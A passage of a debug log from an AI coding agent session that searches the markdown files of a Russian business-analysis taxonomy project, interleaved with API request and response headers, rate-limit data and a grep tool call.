`M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\nba-meta-model/40-practice-and-cases.md:182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\nba-meta-model/40-practice-and-cases.md:189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\\nba-meta-model/40-practice-and-cases.md:194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \\nba-meta-model/40-practice-and-cases.md:215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\nba-meta-model:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\noperation-taxonomy\\nprocess-taxonomy\\nproduct-taxonomy\\n\\nba-meta-model/operation-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/process-taxonomy/:\\n00-introduction.md\\n10-theory.md\\n20-taxonomy.md\\n30-decision-framework.md\\n40-practice-and-cases.md\\n50-open-research.md\\n\\nba-meta-model/product-taxonomy/:\\nmango-products.yaml\\ntelecom-products.yaml\",\n[2026-09-29T07:46:56.561Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:56.561Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:56.561Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:56.561Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:56.561Z] [INFO]   }\n[2026-09-29T07:46:56.561Z] [INFO] }\n[2026-09-29T07:46:56.595Z] [STDOUT] [log_d94508] sending request {\n[2026-09-29T07:46:56.598Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:56.601Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:56.605Z] [STDOUT]   options: {\n[2026-09-29T07:46:56.609Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:56.612Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:56.615Z] [STDOUT]     body: {\n[2026-09-29T07:46:56.618Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:56.621Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:56.624Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:56.629Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:56.633Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:56.636Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:56.639Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:56.642Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:56.647Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:56.651Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:56.654Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:56.660Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:56.665Z] [STDOUT]     },\n[2026-09-29T07:46:56.670Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:56.673Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:56.677Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:56.681Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:56.684Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:56.686Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:56.690Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:56.695Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:56.698Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:56.704Z] [STDOUT]     },\n[2026-09-29T07:46:56.708Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:56.712Z] [STDOUT]   },\n[2026-09-29T07:46:56.719Z] [STDOUT]   headers: {\n[2026-09-29T07:46:56.726Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:56.733Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:56.739Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:56.742Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:56.747Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:56.750Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:56.752Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:56.756Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:56.759Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:56.763Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1359\",\n[2026-09-29T07:46:56.766Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:56.770Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:56.775Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:56.778Z] [STDOUT]     \"x-client-request-id\": \"a028121e-1ed8-466a-b751-d28ab1a478cc\",\n[2026-09-29T07:46:56.781Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:56.785Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:56.791Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:56.794Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:56.797Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:56.802Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:56.804Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:56.808Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:56.814Z] [STDOUT]   },\n[2026-09-29T07:46:56.822Z] [STDOUT] }\n[2026-09-29T07:46:57.404Z] [STDOUT] [log_d94508, request-id: \"req_011CfXMsXVGyHXUbJLWgER6c\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 808ms\n[2026-09-29T07:46:57.410Z] [STDOUT] [log_d94508] response start {\n[2026-09-29T07:46:57.413Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:57.417Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:57.421Z] [STDOUT]   headers: {\n[2026-09-29T07:46:57.427Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:57.430Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:57.439Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:57.441Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:57.445Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:57.448Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.451Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:57.456Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:57.460Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:57.463Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:57.465Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:57.468Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:57.471Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:57.475Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.479Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:57.481Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:57.486Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:57.489Z] [STDOUT]     \"cf-ray\": \"a429607fcee6dbb5-FRA\",\n[2026-09-29T07:46:57.493Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:57.496Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:57.499Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:57.503Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:57.508Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:57 GMT\",\n[2026-09-29T07:46:57.512Z] [STDOUT]     \"request-id\": \"req_011CfXMsXVGyHXUbJLWgER6c\",\n[2026-09-29T07:46:57.516Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:57.518Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:57.520Z] [STDOUT]     traceresponse: \"00-47928ba910b128eb77f59d5f81a08b3d-53bcfd7c0a4c3ddb-01\",\n[2026-09-29T07:46:57.525Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:57.537Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:57.552Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:57.557Z] [STDOUT]   },\n[2026-09-29T07:46:57.560Z] [STDOUT]   durationMs: 808,\n[2026-09-29T07:46:57.562Z] [STDOUT] }\n[2026-09-29T07:46:57.565Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:57.569Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:57 GMT\",\n[2026-09-29T07:46:57.573Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:57.578Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:57.581Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:57.585Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:57.588Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:57.591Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:57.596Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:57.600Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:57.606Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:57.611Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:57.619Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:57.623Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:57.631Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:46:57.636Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:57.640Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:57.643Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.647Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:57.652Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:57.657Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:57.663Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:57.667Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:57.672Z] [STDOUT]   \"request-id\": \"req_011CfXMsXVGyHXUbJLWgER6c\",\n[2026-09-29T07:46:57.674Z] [STDOUT]   \"traceresponse\": \"00-47928ba910b128eb77f59d5f81a08b3d-53bcfd7c0a4c3ddb-01\",\n[2026-09-29T07:46:57.681Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:57.686Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:57.688Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:57.690Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:57.693Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:57.695Z] [STDOUT]   \"cf-ray\": \"a429607fcee6dbb5-FRA\",\n[2026-09-29T07:46:57.699Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:57.701Z] [STDOUT] [log_d94508] response parsed {\n[2026-09-29T07:46:57.703Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:57.708Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:57.712Z] [STDOUT]   body: X {\n[2026-09-29T07:46:57.715Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:57.719Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:57.721Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:57.726Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:57.730Z] [STDOUT]     },\n[2026-09-29T07:46:57.736Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:57.741Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:57.744Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:57.747Z] [STDOUT]   },\n[2026-09-29T07:46:57.750Z] [STDOUT]   durationMs: 809,\n[2026-09-29T07:46:57.754Z] [STDOUT] }\n[2026-09-29T07:46:57.835Z] [INFO] {\n[2026-09-29T07:46:57.835Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:57.835Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:57.835Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:57.835Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:57.835Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:57.835Z] [INFO]   \"uuid\": \"bba877cd-a937-4da1-9e02-d5b49e30a122\"\n[2026-09-29T07:46:57.835Z] [INFO] }\n[2026-09-29T07:46:58.351Z] [INFO] {\n[2026-09-29T07:46:58.351Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:58.351Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:58.351Z] [INFO]   \"estimated_tokens\": 186,\n[2026-09-29T07:46:58.351Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:58.351Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:58.351Z] [INFO]   \"uuid\": \"b8717e72-c431-4141-921b-55304d903401\"\n[2026-09-29T07:46:58.351Z] [INFO] }\n[2026-09-29T07:46:58.358Z] [INFO] {\n[2026-09-29T07:46:58.358Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"message\": {\n[2026-09-29T07:46:58.358Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"id\": \"msg_011CfXMsXv5EeLYC3fnXXoQp\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:58.358Z] [INFO]     \"content\": [\n[2026-09-29T07:46:58.358Z] [INFO]       {\n[2026-09-29T07:46:58.358Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:58.358Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:58.358Z] [INFO]         \"signature\": \"CAQS4AUKEAgSGAI4AUIIdGhpbmtpbmcSDDIJs9tVCMnVfOGgghoMU4Tej4KAde2Kf/Q4IjBFeg8f6yu6cgZmUWrSGbawbl/qVDA0hLqhxvL7Caz7Elt1bGfY9+03UcRo/YLs7JMq/QThdh/rL2V/XBkEsL7RLaNKuciQ191iR67nHhuEtEhqMS1tPkJUcthgbuD0HrEN1OjauiKDeUG8Kb9Q8CKon3wDMRU9UhrZ5FBKPKruwLB5e2tmWpio3R+Be+U5j9xlmuDSWHHM/znqDSh4pXWD1v8QFdFToMVL9/Y3yIpaYo4MbtwwPDfzlSPtcPV4BFAUHZFvhwwez0u3/JFlxoY1l5ZRlhddIV/+u3Yl6rDfxe3chFpWNustoWOJusJ1vlhuO7bFYGmitiiNz2T5DS6yuAJTFCyReEX4FUykte3p4aMU+25WAWah8CwZeVCSs7wXg6PJ1I6lZ2AhVm8vdymFfxeQq8EBTS7CJPMqIFqLm01ggQdegm8tRQDSp2z4JUM7iWVhGx5DCAiYy94wO5koZfSK384vUDsLdTZDJ9uH+VsaLfAEj7IUj6cqYIYoxxMnyOHJTvDCn/yJvWm2t+JEcIHGXbXu+u37GnCwSQUm6sTV35xWqUry+PZDPvyEa88t0bRCggCSp859ey81V8HdMG3tjJFLOPyr4e+cAzwVKqVSsUB7/bcXlZEgtpGkSf5GjdNcjoc7p3zZpq7tT9lm7VOqYLBY334SPxaKMRnbKOTkV9DO5WTNfRgvZtvs5ixMQ/Yd+zeB8ZMTcWCoD/DNMkTkfs0N4JETVgScO+UuCVED8T30Sw09oae+t3jF0/W6sYIJdocces+6cgI/uCK3BDjsjaJVTXHpH4srs/1p22SzImfaQafBcyTi5JsMkdGP2aXpszsJZUlMZ8C74JlmBfTnXUpAts2akuaz6bfgXH7Q8RBO+Eud2ydfjqfkKU3SHz6Ez2/+c9nosw+AM+VWGAE=\"\n[2026-09-29T07:46:58.358Z] [INFO]       }\n[2026-09-29T07:46:58.358Z] [INFO]     ],\n[2026-09-29T07:46:58.358Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:58.358Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:58.358Z] [INFO]       \"cache_creation_input_tokens\": 3102,\n[2026-09-29T07:46:58.358Z] [INFO]       \"cache_read_input_tokens\": 43230,\n[2026-09-29T07:46:58.358Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:58.358Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:58.358Z] [INFO]         \"ephemeral_1h_input_tokens\": 3102\n[2026-09-29T07:46:58.358Z] [INFO]       },\n[2026-09-29T07:46:58.358Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:46:58.358Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:58.358Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:58.358Z] [INFO]     },\n[2026-09-29T07:46:58.358Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:58.358Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:58.358Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:58.358Z] [INFO]   },\n[2026-09-29T07:46:58.358Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:58.358Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"uuid\": \"23aa8445-8dca-45db-b665-a971c2943187\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:58.350Z\",\n[2026-09-29T07:46:58.358Z] [INFO]   \"request_id\": \"req_011CfXMsXVGyHXUbJLWgER6c\"\n[2026-09-29T07:46:58.358Z] [INFO] }\n[2026-09-29T07:46:59.059Z] [INFO] {\n[2026-09-29T07:46:59.059Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"message\": {\n[2026-09-29T07:46:59.059Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"id\": \"msg_011CfXMsXv5EeLYC3fnXXoQp\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:59.059Z] [INFO]     \"content\": [\n[2026-09-29T07:46:59.059Z] [INFO]       {\n[2026-09-29T07:46:59.059Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:59.059Z] [INFO]         \"id\": \"toolu_01KDNM1rLjRxmjMWuKhSyWYf\",\n[2026-09-29T07:46:59.059Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:59.059Z] [INFO]         \"input\": {\n[2026-09-29T07:46:59.059Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n -i \\\"\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\\\\|\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\\\\|\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\\\" ba-meta-model/operation-taxonomy/*.md | cut -c1-280 | head -25\",\n[2026-09-29T07:46:59.059Z] [INFO]           \"description\": \"Search operation taxonomy for cognitive terms\"\n[2026-09-29T07:46:59.059Z] [INFO]         },\n[2026-09-29T07:46:59.059Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:59.059Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:59.059Z] [INFO]         }\n[2026-09-29T07:46:59.059Z] [INFO]       }\n[2026-09-29T07:46:59.059Z] [INFO]     ],\n[2026-09-29T07:46:59.059Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:59.059Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:59.059Z] [INFO]       \"cache_creation_input_tokens\": 3102,\n[2026-09-29T07:46:59.059Z] [INFO]       \"cache_read_input_tokens\": 43230,\n[2026-09-29T07:46:59.059Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:59.059Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:59.059Z] [INFO]         \"ephemeral_1h_input_tokens\": 3102\n[2026-09-29T07:46:59.059Z] [INFO]       },\n[2026-09-29T07:46:59.059Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:46:59.059Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:59.059Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:59.059Z] [INFO]     },\n[2026-09-29T07:46:59.059Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:59.059Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:59.059Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:59.059Z] [INFO]   },\n[2026-09-29T07:46:59.059Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:59.059Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"uuid\": \"b83afa7e-5a1b-4856-a0a7-6cc1c71f8747\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:59.053Z\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"request_id\": \"req_011CfXMsXVGyHXUbJLWgER6c\",\n[2026-09-29T07:46:59.059Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:46:59.059Z] [INFO]     \"toolu_01KDNM1rLjRxmjMWuKhSyWYf\": {\n[2026-09-29T07:46:59.059Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -n -i \\\"\u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\\\\|\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\\\\|\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\\\" ba-meta-model/operation-taxonomy/*.md | cut -c1-280 | head -25\",\n[2026-09-29T07:46:59.059Z] [INFO]       \"description\": \"Search operation taxonomy for cognitive terms\"\n[2026-09-29T07:46:59.059Z] [INFO]     }\n[2026-09-29T07:46:59.059Z] [INFO]   }\n[2026-09-29T07:46:59.059Z] [INFO] }\n[2026-09-29T07:47:00.602Z] [INFO] {\n[2026-09-29T07:47:00.602Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"message\": {\n[2026-09-29T07:47:00.602Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:47:00.602Z] [INFO]     